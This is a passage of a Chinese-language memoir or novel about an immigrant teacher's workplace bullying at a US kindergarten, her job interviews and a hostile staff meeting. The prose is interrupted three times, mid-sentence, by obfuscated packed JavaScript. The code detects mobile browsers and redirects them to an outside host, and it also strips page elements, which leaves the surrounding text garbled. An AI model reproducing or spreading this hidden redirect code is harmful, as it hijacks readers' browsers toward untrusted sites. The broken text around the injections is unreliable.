“好,后面我还要和另一个人谈,下星期我会再找你谈谈,然后和你们班一起开个会。” “什么时候?”我问。 “下星期一和星期二我不在,要开也是之后了——那么如果孩子再做出不恰当的行为,你能制止吗?” 我回答:“如果下次出现这种情况你们希望我这么做,我会制止。”又对邦狄说,“邦狄,如果下次我做错了什么,请你直接告诉我。” 邦狄说:“并不是你做错了什么,只是你应该遵守我们这里的规矩。” “原本就应该这么说,事情会简单得多,也不会扯出这么多事来。” 沙文语气轻松地总结道,似乎我答应需要她帮助,她的目的达到,终于心满意足了。 我没说话,她一上来就气势汹汹地为我安插了那么多莫须有的罪名,仿佛我做了什么十恶不赦的事,现在却来说这些漂亮话,沙文态度上的骤然转变让我感到很不安,总觉得似乎落入了她的某种圈套。 走出办公室,感觉浑身发烫,却不明白自己究竟做错了什么要屡屡遭受这样的羞辱、诬陷和攻击,这段时间我兢兢业业、谨小慎微、一忍再忍,以为只管做好自己的事别人也无可奈何,没想到背后的各种重伤诽谤却令人防不胜防,更是做梦也想不到千夫所指最后竟然落到了我的身上,还真是欲加之罪,何患无辞!我感觉受到了围攻,腹背受敌,四面楚歌。 穿过教室回院子,迎面碰见林奈正往外走,我撇撇嘴,她有些尴尬地冲我笑笑,看来很清楚自己做了些什么。 站在院子里有些恍惚地看着周围的每一个老师,像看着一群鬼,看着每一张冷漠的、敌意的、微笑的脸,却不知道哪一张后面包藏着祸心,突然发现自己已经彻底不敢再相信其中任何一个,过去几个月的经历让我深切感受到了人心之险恶、人性之丑恶,真没想到朗朗青天下、号称美国民主摇篮的莱克星顿、上帝之所的一间教堂后面竟掩藏着如此令人不齿的龌龊和黑暗。 我挺直了背,在脸上堆上伪装的笑,暗暗告诉自己:只要精气神不倒,没人知道刚才在办公室里发生了什么,我可不能在这些人面前先露怯! 坐在木沿上看着孩子,班上的几个小姑娘立刻围拢过来安心地在我身边玩耍,时不时和我说着话——这帮人再蓄意栽赃陷害却始终不能抹煞孩子喜欢我的事实,许多家长也感激我,觉得我素质高、对孩子好,估计正是这些让某些人嫉妒憎恨得发狂吧?因为我的存在就像一面镜子,更加映照出她们的丑恶。 心里很堵,身上又冷又烫,这时已经离校的达文突然跟着爸爸来接妹妹,桀丝跑上去拥抱他,他抱完桀丝立即冲上来紧紧抱住我。 我问他:“你好吗?” 他仍是像以前那样安静而羞怯地笑着说:“好。” 我几乎泪崩,匆匆放开他转身去招呼其他孩子收拾玩具。 回家后仿佛大病一场,整个人呆呆的——下定决心要离开这个鬼地方,周末就开始投简历找新工作,或者一等到教师资格证下来就辞职,我甚至想冲动地立刻辞职,此生再也不见这些人。 向老公倾诉了几句心里的郁闷,他却责怪我总是把这些负面的东西带回家来让他压力很大,觉得我好像不停地在被人打完左脸又打右脸,让我看看能不能找律师控告雇主纵容办公环境对少数族裔的敌视氛围。 我掩面哭泣,感到是那么的孤立无援,比独自一人还要孤独。 哭完呆坐在沙发上想,不错,就是这种被打完左脸打右脸的感觉,太屈辱太可恨了!一个计划开始在内心酝酿:我要狠狠地报复,不能让这些肆意伤害和践踏我的恶人好过,状告敌视氛围这种感受性的东西很难举证,以沙文的狡猾也很难抓住把柄,但是接下来我要搜集证据,然后在辞职的当天写一封长长的邮件向校董事会历数这里每一个曾经欺负和伤害过我的人的罪状,揭露她们对我的歧视和敌意,我甚至开始在心里起草邮件的段落细节。 打开电脑记录这段时间的经历,写着写着却意外地得到了极大的疏解,气顺了,心不堵了,恨也消了大半,我想那封邮件我不会再写了,因为过往的经验告诉我:冤冤相报,仇恨和报复只会招来更大的反弹,将自己拖入是非和缠讼的泥沼不得脱身——唉,我就是这样一个没用的凡人啊,太容易自洽,又永远记不住仇恨,如果看到这里的读者让你感到憋屈那么对不起了,现实生活中哪有那么多网络爽文和影视剧里的反转逆袭、扬眉吐气?没有资源没有背景的个人想要和一个组织一群人斗无异于螳臂挡车,当你凝望深渊时深渊也在凝望着你,这种情况下对自己最大的保护就是尽快远离深渊。 当然,对这些人的恶我是不会遗忘的,也不会再一厢情愿地逆来顺受,对她们的戒备也不会再放下,直至这些人成为我人生旅途上一站的历史,留在她们自己营造的地狱中继续争斗纠缠直至腐烂。 寒山问拾得:“世人欺我、谤我、辱我、笑我、轻我、贱我,我当如何处之?”拾得答曰:“只是忍他、让他、由他、避他、耐他、敬他、不要理他,再待几年,你且看他。” 54. 第二十一章 幼儿园的各类活动 为了向董事会和家长展示业绩,沙文十分重视幼儿园的各类活动,并给每个教室配备了一只数码相机,要求所有活动拍照保存,好发给家长和对外宣传幼儿园的活动多么丰富多彩,孩子过得多么开心快乐。 每单周学校会从外面请来一位幼儿音乐课专家在活动室里轮流给每个班的孩子上一次二十分钟的音乐课,内容包括让孩子晃动沙锤和敲击铃鼓、木鱼之类的小器械,再教他们一些简单的儿歌;每双周则会有两三个身穿球衣的年轻人来给孩子上足球课,他们在活动室里摆上一个迷你小球门、一些障碍物和几只足球,孩子们一个跟着一个带球绕过障碍物把球踢进小门里就算学会了踢足球。 暑假期间沙文要求每个班级贡献一场全校性的活动,有的班组织了“玩水日”,有的班组织了“玩泥巴日”,最令人印象深刻的是邦狄所在的小班组织的“海盗日”,她们订购了许多海盗头巾和眼罩让所有孩子装扮起来,事先在沙池里埋了一些塑料金币和财宝让孩子们寻宝,又往一只有四张双人床大小的特制塑料袋里注满水铺在草地上,让孩子们排队从一块长条木板上跳到塑料袋上模仿海盗“走跳板”的刑罚,邦狄也开心地一次次和孩子们一起跳下去。 我们班组织的是“热带风情日”,玛丽安和林奈网购了许多绢布做的夏威夷花环和包括电子琴、电吉他、萨克斯管、立式麦克风等各种乐器形状的充气玩具发给孩子们,用泡泡机在院子里吹出许多泡泡,又竖起一块可以把脑袋伸进去的热带主题背景板给孩子们排队拍照,背景板上画着海滩和椰子树,一只小猴子头戴草帽身穿花衬衫手里拿着椰壳饮料,尾巴顽皮地挂在椰子树上,脑袋的地方挖空刚好可以露出孩子们的小脸。 学期末幼儿园还请来几位动物园的工作人员,他们带来了一只蜥蜴、两只刺猬、几条不同颜色和大小的蛇以及一只像绒球一样奇怪的鸟,所有孩子和老师都集中到活动室听动物园的人介绍这些动物,胆大的还轮流上前抚摸。 偶尔各班还会带孩子去参观镇上的博物馆和消防站,但玛丽安每次出门都很紧张,她会从储物间里拿出一根特制的长长的绳子,绳子两侧每隔一段距离又栓着一小截绳子,末端系成套环的形状,让每一个孩子拉住一个套环串成一串,绳子两头由两名老师牵着,中间再有一两名老师保护在侧,确保万无一失。每次领着一群四五岁的萌娃走在街上都是一道亮丽的风景线,会引得许多路人驻足观望和报以友善的微笑,一次一位文质彬彬、穿着得体的中年绅士笑着问队尾的一个孩子叫什么名字,林奈回去后立刻紧张地将这件事报告给沙文,沙文又如临大敌地立刻报了警,对警察说怀疑镇上有恋童癖和人贩子。 我觉得丰富的活动对孩子们固然十分有益,但如果僵化落后的教学理念和素质低劣的教师队伍这个内核不改变的话,只能像是一个劣质产品外面精美的包装、一颗苦果外面裹着的糖霜、一条老黄瓜外面刷的绿漆,再金玉其外也难掩败絮其中,幼儿园为了图方便每天给孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437818|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子提供的四顿零食不是饼干就是膨化食品,夏天偶尔会有充满色素和糖精的冰棍,孩子每天被一群心理不健全的老师施加种种限制,表面看似乖顺实则噤若寒蝉,人说“幸福的童年治愈一生,不幸的童年用一生去治愈”,不知道这些孩子甚至一些孩子的家长在这里受到的心理阴影和创伤会为他们未来的生活埋下什么样的隐患和影响, 幼儿时期是每一个人都会经历的阶段,也是人的一生中奠定根基的重要时期,许多人生观、价值观、思维方式和行为习惯都是在这个时期潜移默化埋藏在血液里的,就像一栋建筑在打地基,一棵大树在生根,虽然表面上可能看不出立竿见影的成效,却会影响一个人一辈子的高度、深度和广度,进而影响到整个人类社会的文明和进步,所以每一位幼儿教师的重要性其实是辐射性的。然而在美国,幼儿教育行业却因为收入少门槛低,汇聚了众多低素质的从业人员,大部分教师从幼教专业大专毕业以后就一直在这一行工作,即便教学经验丰富、看人管人很有一套,却难免眼界狭窄、思维局限,缺乏对生命的理解和智慧,作为人类灵魂工程师如此重要的位置却存在这样的偏差,实在是一件令人遗憾的事,也是所有人的损失。 幼儿教育是一个需要大量投入却无法立即看见成效的行业,但又是如此的重要,这一矛盾是无法简单地用市场经济来解决的,而是需要全社会对于这一人生阶段、这一构筑人类基石的行业的重要性的理解、支持和有计划、全面性的投入。 55. 第二十二章 离开前的准备 下定了离开的决心,我开始着手进行,星期天在网上找到四家比较感兴趣的幼儿园投出简历,开学后沙文替我向教育部门递交了教师资格证的申请材料,我在简历里解释教师资格证正在申请中。 星期一过得还算凑合,班上的三个老师突然对我格外客气,尤其是玛丽安,我想一定有人向她们透露了我和沙文的谈话内容,也明白这种客气只是表面和暂时的。 临睡前查看电子邮箱,惊喜地发现居然有三家幼儿园回复要和我确定面试时间,这与一年多前无人问津的情形简直不可同日而语,看来当时间来临,连老天都在大开方便之门,我权衡之后将面试时间集中约在星期三。 星期二一早去医学中心找医生开具申请幼儿园工作所需的健康证明,身处宽敞明净的医疗大楼内,暂时脱离了幼儿园狭窄闭塞的环境,沐浴在从玻璃幕墙投射进来的阳光里,我感到久违的身心舒泰,学校里的那些糟心事仿佛突然间变得非常遥远。回到幼儿园,林奈和尅拉对我的态度果然又恶劣起来,教室里腐朽的气氛已经令我几乎无法忍受。 星期三请了病假,然后开始了一天紧张的行程,面试的第一家是一所很大的幼儿园,有两百多个孩子,幼儿园网站上介绍他们采用的是以环境和儿童为主导的特殊教学理念,这让我产生了浓厚的兴趣。 早上十点半按约定来到幼儿园,坐在走廊的长椅上等了一会儿才被叫进办公室,面试官叫苏珊,是一位五十来岁戴着眼镜看上去有些严肃刻板的白人女士,不过态度倒是很谦和。 苏珊首先问我:“你为什么要离开现在的幼儿园?” 我回答:“理念不合。” 她让我举一个例子,我便举了玛丽安在地毯上画格子限制孩子活动的例子。 苏珊的第一反应是评论:“这么做是很奇怪。”停顿了一下却又说,“可是刚开学的时候为了维持纪律这么做倒也说得过去,你能再举一个例子吗?” 我又举了幼儿园限制孩子在院子里奔跑和林奈冲孩子吼叫的例子,没想到苏珊想了想又说:“有时候幼儿园限制孩子奔跑是为了安全起见,为了维持纪律可能偶尔不得不冲孩子大声发出指令,我看不出这些有什么太大的问题,你还能再举点别的例子吗?” 我感觉和苏珊的对话仿佛陷入了一个怪圈,她似乎把自己放在我的对立面上,努力在为我不赞同的所有行为寻找各种合理性进行辩护,我已经不想再继续这个话题,她却寻根究底揪住不放,坚持要我继续举例子,与其说想知道我想离开现在幼儿园的真正原因,她倒更像是拿着放大镜在寻找我的问题,担心我将来也会与她们的幼儿园理念不合而成为潜在的不稳定因素。 这让我学到了一点:面试如果被问到为什么想换工作,随便找个理由即可,无论孰是孰非,千万不要说因为不满意前雇主而想离开(虽然这是现实中最常见的跳槽原因),因为雇主和雇员是天生的对立面,新雇主绝不是给予你公平正义的判官,反而会很容易共情前雇主,觉得不满意前雇主的雇员将来也可能会针对自己。 我于是又说:“我现在的幼儿园没有班主任,大家都是老师,可我认为有班主任很重要。” 苏珊却说:“我们这里也没有班主任,所有的老师都一样,如果你有不同意见应该说出来和别的老师沟通交流,交流不畅再找我解决。” 听她这么一说我更担心了,因为她的说法未免过于理想化,只有经历过现实中那些群龙无首的勾心斗角和拉帮结派,才会知道在幼儿园的班级里如果没有一个说了算的人局面会有多么混乱。 苏珊虽然对我说了那么多泄气的话,最后却出乎意料地给了我申请资料,还让我安排时间准备一些教学活动再来她们学校试一次课;而在和苏珊的交谈中我也渐渐感觉到她们的教学理念其实和其他幼儿园并没有什么不同,对孩子的限制也不少,对老师的教学要求却很高。 随后她起身带我参观教室,长长的走廊两侧有许多间教室,每间教室面积很大,里面却空荡荡的,色调也很冰冷,在环境布置上并无甚优势可言,每个班的老师大多是年轻的白人女子,虽然看上去素质较高,却一个个冷冰冰的脸上没有笑容。 告别苏珊出门时发现两百多个孩子的幼儿园居然只有一个很小的院子,院子里是水泥地,玩乐设施也不多,几个班的孩子排着队像沙丁鱼一样挤在一起。 回家匆匆吃了点东西,又多准备了一些材料,开车赶赴下午一点半的第二场面试。 第二家幼儿园就在莱克星顿镇上另一座教堂的附属小楼里,我事先在网上了解了一些情况,得知这家幼儿园的园长丽莎三十多年前曾在我现在的幼儿园工作过五年,后来独立出去成立了自己的幼儿园,照片上丽莎的面相有些尖锐,又是从现在的幼儿园出去的,我的心里不免有些忐忑。 见到丽莎本人却比想象中要和善许多,她告诉我自己收养了一个在武汉出生的中国女婴,和我聊了许多她女儿的事,也提到曾在我现在的幼儿园工作,还是面试邦狄的人之一,不过言语间似乎对邦狄有些不以为然,笑称“邦狄是前幼儿园的女王”——我可以想象她与邦狄之间曾经的恩怨纠葛,否则也不会离开自立门户。 丽莎问了我许多现在幼儿园的时间表和课程安排,我几乎是知无不言、有问必答,她笑着点点头,似乎很满意,评论道:“和我们的几乎一样。”又说,“不过我唯一的顾虑是我和沙文很熟,如果你来我这里工作,我得想想怎么和沙文说而不得罪她,也不影响我和前幼儿园之间的一些合作。” 听丽莎这么一说我也产生了很大的顾虑,我找新工作就是为了摆脱原来的幼儿园和沙文,未来园长和沙文关系很熟还有合作,这听起来可不是什么好事。 丽莎甚至没有问我为什么要离开现在的幼儿园,我想因为她自己就是从那里出来的,自然太明白为什么有人想要离开了。 和丽莎的谈话很愉快,她们幼儿园的工作环境也让我很喜欢,一间间小小的房间和走廊全都刷成粉红色、铺着很新的墨绿色地毯,看上去整洁舒适,整个幼儿园的氛围也显得安静祥和。 我提出想参观一下教室,但是丽莎说:“孩子们正在午睡,你如果有兴趣的话星期五早上可以再来我们教室看看。” 第三家幼儿园很正规,有自己的教学楼和操场,离我的住处只需步行二十分钟,就是我刚搬到波士顿时曾经很向往能去工作的那家幼儿园,但当时投出简历却一直没有回音,这次这家幼儿园招聘的是一个中班兼职老师的职位,每天从下午一点工作到六点,却正合我意,因为这样我就可以有更多自己的时间了。 面试我的是负责学校教育工作的园长南希,她看上去七十来岁,一头红色短发,干瘦得只剩下一小把,却精神矍铄,态度也十分亲切和善。 南希把我迎进二楼一间老旧狭小的员工休息室,给了我一份申请表让我安心填写,便先离开了。答题的时候休息室有老师进进出出,看见我来面试,纷纷友好地和我打招呼,不过我现在对人性失去了信任,虽然回以微笑却显得有些木讷。 申请表很长,有许多信息要填写,末尾还有好几道问答题,简直像个小测验,令我有些措手不及,只得尽力将能写的写了。问答题里最后一道是“你对幼儿期的理解是什么?作为幼儿教师你希望为幼儿提供一些什么?”因为时间有限,我只得简短作答:“幼儿期是人生初始一个特定的阶段,在这个阶段人类尚十分弱小、无法独立,作为幼儿教师我希望能够为孩子提供保护和帮助并教导他们。” 面试时间是一个小时,等我好不容易把问题答完剩下的时间也不多了,南希大约等得有些着急,进来看我写得怎么样,我有些不好意思地说:“对不起,我写得太慢了,有几个地方空着还没填。” 南希说: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437819|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “没关系。”拿过申请表大致浏览了一下道,“这样就可以了”,又指着我最后一题的答案微笑着说:“通常我们会用‘启发’这个词而不是‘教导’。” 我笑道:“噢,是的。”当即领悟到她的意思——“教导”是自上而下封闭性的,而“启发”却是平等包容开放性的,南希可谓一字之师。 她也问我:“你为什么要换工作?” 这次我学聪明了,只说:“我想找个离家近一点的地方上班。” 南希对此没有任何异议,只是略有些抱歉地向我解释:“这是个兼职教师的位置,没有医疗保险,所以时薪会略微高一些,但做时间长了将来也有机会转成全职。” 我连忙说:“我刚好相反想要做兼职老师,因为这样能多些照顾家庭和自己的时间,并且我先生的公司会帮家属上保险,所以我不需要医疗保险。” 南希听了很高兴,轻松地和我聊了几句,又说:“我年轻时曾去过中国南京的一个幼儿园帮忙,住在带旋转餐厅的五星级饭店里,冬天要洗很多孩子的棉衣棉裤,水非常冷。” 我猜她当年大约是随团去中国做人道主义援助,带旋转餐厅的饭店应该是指南京玄武湖饭店。 南希又问:“你想看看我们的教室吗?” 我说:“当然。” 这时候大部分老师和孩子们都在操场上活动,教室几乎都是空的,南希带我大致参观了二楼的大班教室、一楼的小班教室和负一楼的学前班教室,最后来到招聘兼职教师岗位的一楼中班教室。 教室很宽敞,一面墙都是宽大的窗户,不过室内陈设有些老旧,教室里这时只有一黑一白两位老师带着几个孩子,黑人老师二十多岁年纪,看上去比较和善;白人老师三十多岁年纪,是班主任,体型和林奈有得一拼,面相却比林奈还凶,不禁让人感到害怕。 一圈参观下来,南希问我:“你对这个的职位感兴趣吗?还是要考虑一下?” 我犹豫了一下说:“我很感兴趣,想考虑一下。” 她便体贴地询问了我第二天的上班时间,特意安排我在上班前的时段再来中班教室里实地观察一下。 回到家已是精疲力竭,不过经过几家面试我才知道,麻省教育系统十分看重教师队伍的种族多样性,而幼儿园因为工资少教师学历普遍偏低,只要有了满足基本门槛的教师资格证,像我这样高学历的亚裔候选人在这边的各个幼儿园原来是十分受欢迎的。 第二天一早又来到南希的幼儿园,南希先把我带到一楼一间十分逼仄的行政办公室里,两位行政人员都和善地微笑着和我打招呼,南希向我介绍其中一位中年女士:“这是我们的办公室经理曼达,她女儿现在就在中班上学。” 寒暄过后,南希再次把我带到中班教室,这次所有老师和孩子都在,除了昨天的两位老师,还有两个二十多岁的白人女孩,其中一个脸比较冷,另一个戴着眼镜。 南希把我介绍给几位老师,又指着那个戴眼镜的女孩笑着说:“这位也叫曼达,是刚来我们学校一个星期的新老师。” 曼达立刻冲我满脸堆笑,我一看她却不禁倒吸一口凉气,原来她竟和尅拉长得五分相似,也是金发凸眼龅牙短腿,只是每一处的畸形程度都比尅拉轻微许多,仿佛是尅拉的一个进阶版。 南希介绍完就先离开了,几位老师让我自如地在教室里陪孩子们玩,一个满头金色发卷的小姑娘还拉着我给她读故事书,临走的时候她已经坐在我的腿上紧紧抱着我,依依不舍地问:“你为什么要走?你还会再回来吗?” 幼儿园中班三四岁的孩子正是最活泼可爱的年纪,比之小班的孩子他们已经能够熟练地自我表达,比之大班的孩子他们又还未被过于社会化,仍完整地保留了那份与生俱来的灵性和童真,这也是最吸引我的一点,我想即便是为了这个,我如果有机会的话也应该还会再回来吧。 56. 第二十三章 最后的霸凌 星期三一连三家面试令人神经紧绷,再加上连日来学校里各方面的敌意和精神折磨,我连着几天感到心脏不舒服,又连续两个晚上失眠,到星期四早上参观完南希的幼儿园时整个人已经心力交瘁,实在不想再去学校面对更多的负能量,本想多请一天病假,可是老公建议我坚持一下,于是我还是去了。 在美国找工作,几乎所有雇主都会要求新雇员提供上一任雇主的推荐信,还会打电话向前雇主询问新雇员的一些情况,这其实是对打工人一种十分强大的隐形控制和束缚,让打工人不敢轻易和老板翻脸,不似在中国,干得不爽了分分钟可以拍案而起,此处不留爷,自有留爷处,翻过旧页重新来过。 但是针对美国职场的这条规矩也不是全无对策,比如可以找关系不错的同事做推荐人,新雇主往往也会接受,因为他们理解许多人并不想让现任雇主知道自己在找工作,也只是想看看了解你的人对你的评价,以防踩雷。但话说回来,如此判断一个人的人品,可靠性又有几分呢?比如像林奈和桀丝那样的可以找一群狐朋狗友为她们说一堆溢美之词,而像我这样被集体诬陷和排挤的,竟连一个帮我说话的人都难找。 不过天无绝人之路,有一个人我相信既了解我真正的为人,也会和善地愿意做我的推荐人,那个人就是在幼儿园人微言轻、几乎没有存在感的轮值老师——玛莎。 在院子里活动时我想找机会请玛莎做我的推荐人,无奈其他老师站得很密,我好不容易凑到玛莎身边匆匆交谈了几句,对她说:“我有些话想和你说,晚上回去给你打电话。” 一上午班上的三个老师破天荒地对我极尽小心和气,大事小事都特意向我说明清楚,还有事没事总向我挤出笑容寻找各种话题,我想沙文一定是对她们说了什么,否则她们不会突然发生如此刻意而突兀的转变,但我已经不可能再被她们迷惑,因为太清楚过了今日她们一定会卷土重来。 午饭的时候尅拉突然通知我沙文过一会儿要和我们一起开个组会,看其他两个老师的神情似乎早已心中有数,我很吃惊沙文并未像之前说好的那样先找我谈就直接召开组会,并且看上去她和每个人都通过气了,却唯独绕过我——一种不祥的预感从心中升起,我感觉沙文来者不善,上次说的那些所谓要帮助我的话只是欺骗。 趁着上厕所的功夫我到办公室问沙文:“待会儿是不是要开组会?” 她对我挤出一丝笑容:“是的。” “你是不是已经和其他人谈过了?” 我又问。 她犹豫了一下,点了点头。 “我只是想告诉你,教室里的情况现在已经好多了。” 我故意说,言下之意你既然绕过了我,那么我也不打算在组会上汇报太多情况了。 沙文听到这话果然脸色大变,也证实了我的猜测——她开会的目的并非好心帮我,而是别有用意。 开会时间到了,我和其他老师鱼贯进入办公室,尅拉手里还与众不同地拿着几张班上孩子的受伤事故报告,仿佛她和沙文私底下还商讨了其他不为人知的事情。 沙文如临大敌一般把我们领到楼下一层我从未见过的秘密空间,从口袋里掏出一大串钥匙,找出其中一把打开了一间里面放着些桌椅的空房间。 大家各自找位子坐下,沙文先开口道:“彦岚到我这里来说她有一些问题,其他人也有一些事要说,那我们就让彦岚先开始讲。” 我听出来她这是在有意扭曲事实,给其他老师我在背后告状的错觉,便装傻道:“我并没有去找你,是你找我去的,我不知道该说些什么。” 沙文有些不悦:“那就让我从我们的谈话记录开始给你提个醒,你说觉得你团队的其他人不和你说话,什么事都不告诉你。” 我不知道她还有谈话记录,于是说:“但是我也说了情况从上个星期就好了很多,现在更好,我不知道还有什么必要开这个会。” 沙文沉着脸道:“今天情况好了一点,明天又可能会不好,问题还是没有解决,我也是给你机会让你说话,如果你没什么说的我就要让其他人说了。” 我心道与其让别人乱喷还不如把主动权掌握在自己手里,于是说“好吧”,然后例数了尅拉的几条,包括下午班级合并原本有固定流程,我也是对我们班下午的情况最了解的人,她却总在午休时绕过我单独去找汉娜和曼妮商定新的方案另搞一套再来通知我,让我感到既不受尊重也很混乱;下午在院子里活动时,她常在沙池或小桌旁从头坐到尾,让我一个人看着大多数孩子——我只着重在尅拉的问题上,未提及林奈和玛丽安,因为不希望战火扩大得罪太多人,大家彼此留点情面。 在我说话的过程中沙文突然要求道:“你说话的时候看着尅拉的眼睛。” 这是沙文惯有的恶趣味,表面上仿佛在提倡教师彼此尊重、相互交心,可她总是这样让老师面对面互相指责还要真诚对视,还有比这更扭曲人性的吗? 我只得看着尅拉的眼睛,尅拉倒很沉得住气,一声不吭,脸上也未流露出太多不悦,这一点我倒是挺佩服她。 我话音刚落,尅拉开始反击了,用充满攻击性的语气恶狠狠地看着我说:“我坐在小桌旁是因为班上有个孩子手臂骨折,需要一名老师一直陪着他,我和其他六个孩子坐在小桌边,你看着另外六个孩子我觉得没有问题!而我坐在沙池里是在陪孩子一起堆沙堡,但是我有很清楚地看着所有的孩子!” 林奈跟着跳出来冲我嚷道:“我事先告诉过你骨折的孩子必须有一名老师陪着!” 沙文也加入进来:“我不明白尅拉坐在小桌旁有什么问题,她坐在沙池里也并不影响对孩子的监管,倒是你对孩子的监管有问题!” 一时之间她们三个仿佛排练好的一样,众口一词揪住一点而不论其他,齐齐将矛头指向我。 我分辨道:“可是尅拉也有没看见孩子的时候,为什么我没看见就不行?我觉得这是双重标准。” 尅拉矢口否认:“我没有没看见孩子的时候!” 沙文却说:“那是因为她在忙别的事。” 我又说:“我看见尅拉和桀丝带着孩子在沙池里蹦跳。” 我的意思是上次我因为没有及时制止孩子在沙池里跑就被邦狄和沙文狠批,尅拉却带头带着孩子在沙池里跳岂非更是失职。 没想到沙文立刻说:“那有什么关系?尅拉去和其他老师商量班级合并的流程我也不觉得有任何问题,倒觉得是你在争夺权力。” 我简直无语了,没见过还能这样赤裸裸地颠倒黑白,自从尅拉来幼儿园的第一天,处处争权夺利从中挑拨的人明明是她,我不过是表达不满,现在倒成了我在争权,沙文嘴上说着要帮我解决问题,实际上却处处偏袒尅拉句句往我身上插刀,这世上还有地方说理吗? 我又说:“这学期教室的地毯上突然开始画格子,每个格子里只允许两个孩子玩一种玩具,我对此有些疑议,觉得孩子需要更加灵活的交流合作,而且其他老师在这么做之前也没和我商议。” 三个老师听见这话当然立刻纷纷表示从一开始就告诉过我这条规矩,沙文又出言为她们背书:“刚开学的时候孩子比较多,采取这样的手段可以更好地控制孩子的人数,这再正常不过了。” 我很诧异,心道稍微有点常识的人都不会支持这种简单粗暴对孩子严加控制的方式,怎么在沙文这里又成了理所当然的惯例? 沙文转而道:“彦岚说玛丽安让孩子绕着滑梯往一个方向跑,林奈却有不同的看法。” 没想到玛丽安和林奈这次倒出奇地口径一致,齐声说:“从没有这种事,我们从来都不让孩子绕着滑梯跑,而是避开滑梯只在草地和土地区域跑!” 玛丽安还信誓旦旦地补充:“从彦岚刚来这里我就一直是这么对她说的。” 我简直有点不敢相信自己的耳朵,明明多次看见玛丽安命令孩子们绕着滑梯往一个方向跑,林奈虽然不赞同但也跟着这么做,她俩现在居然矢口否认,难道是我大白天见鬼了? 我又说:“可是林奈昨天才刚让孩子绕着滑梯跑。” 林奈破口大叫:“我从来没有让孩子绕着滑梯跑过!” 沙文立刻把话头接了过去:“有时候她们会在进教室前让孩子绕着滑梯跑上五圈,但这是课堂活动,不同于自由活动,彦岚你对事情要灵活一点。” 听到沙文这话我立刻明白了,她其实对所有事情心里都门清,只不过同样的事如果是我做的就严厉指责我不遵守规则,如果是别人做的就要求我灵活一点,正话反话都让她说了,横竖全是我的错,看来今天的组会她根本不是要帮我,倒像是在联合其他老师一起整我。 “你说尅拉对你的话总是说‘不’。”沙文又道。 “不是总是,但是很多时候是。”我回答。 “那她是直接说‘不’,还是给了你理由呢?如果她总是给你说不的理由,那么就合情合理。” 尅拉确实每次都会找一大堆冠冕堂皇的理由,她非常精于此道,但我也不是傻子,冠冕堂皇的借口和合情合理的理由根本是两码事。我知道沙文又试图在替尅拉开脱,她这个裁判员今天似乎一直在亲自下场充当运动员为尅拉辩解,尅拉甚至不需要自己开口,这样的场面实在是既诡异又荒谬,令我忍不住开始怀疑尅拉是不是沙文叔叔的女儿。 一直没吭声的玛丽安这时装作很公允和善地开口道:“彦岚,你说我有很多事情只跟其他人说不跟你说,我对于班上的任何事情从来都是会告诉你的。” 林奈马上跟着大叫道:“玛丽安对于班上的事从来都是会告诉每一个人的!” 尅拉也大声附和:“这一点我可以作证!” 我只得提醒玛丽安:“玛丽安,上次你说班上一个孩子的情况需要告诉来接他的家长,就只对尅拉一个人说,当时我站到旁边对你微笑试图引起你的注意,你却视而不见。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16437820|184973||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >当时根本不在场的林奈居然大叫:“那种事从未发生过!” “发生过。” 我沉着声音说,然后不再开口。 “不,没有!”林奈还在大叫。 尅拉也同她一唱一和:“没有!” 玛丽安倒是缩着脖子低头不吭声了,其实她们几个在教室里故意冷落排挤我的时候数不胜数,这一点玛丽安心知肚明,不知道她是还剩最后一丝良知,还是年纪大了懂得过头的话不能说得太多,这大约也是她能在这里混满三十年的一大法宝吧? 我心里也很清楚,像林奈和尅拉这种说假话做伪证害人不留一丝余地的做法将来是走不远的,无奈虎落平阳被犬欺,今天被她们几个合起伙来欺负,背后又有沙文撑腰,谅我再有理再无辜也只有被动挨打的份。 “你还有什么要说的吗?”沙文问我。 我闭口不言。 沙文道:“那我就让其他人说了。” 林奈第一个气势汹汹地跳出来:“我有要说的,凯奇对奶制品过敏,彦岚却给他吃起司饼干!” 起司饼干是一种美国人耳熟能详的里面含有奶酪成分的饼干,但我作为一个外国人却对这种食品不熟悉,所以曾经有一次当作普通饼干放在凯奇面前,虽然当时习惯性地问凯奇能不能吃,他最后也告诉我不能吃。 我说:“我有问凯奇可不可以吃。” “但是你把那个放在他面前,他对你说了三遍他不能吃你都没听见!”林奈厉声道,仿佛抓住了我的要害,要将我一击毙命。 尅拉立刻在一旁附和:“是的,我也听见了,他对你说了三遍你都没听见!” 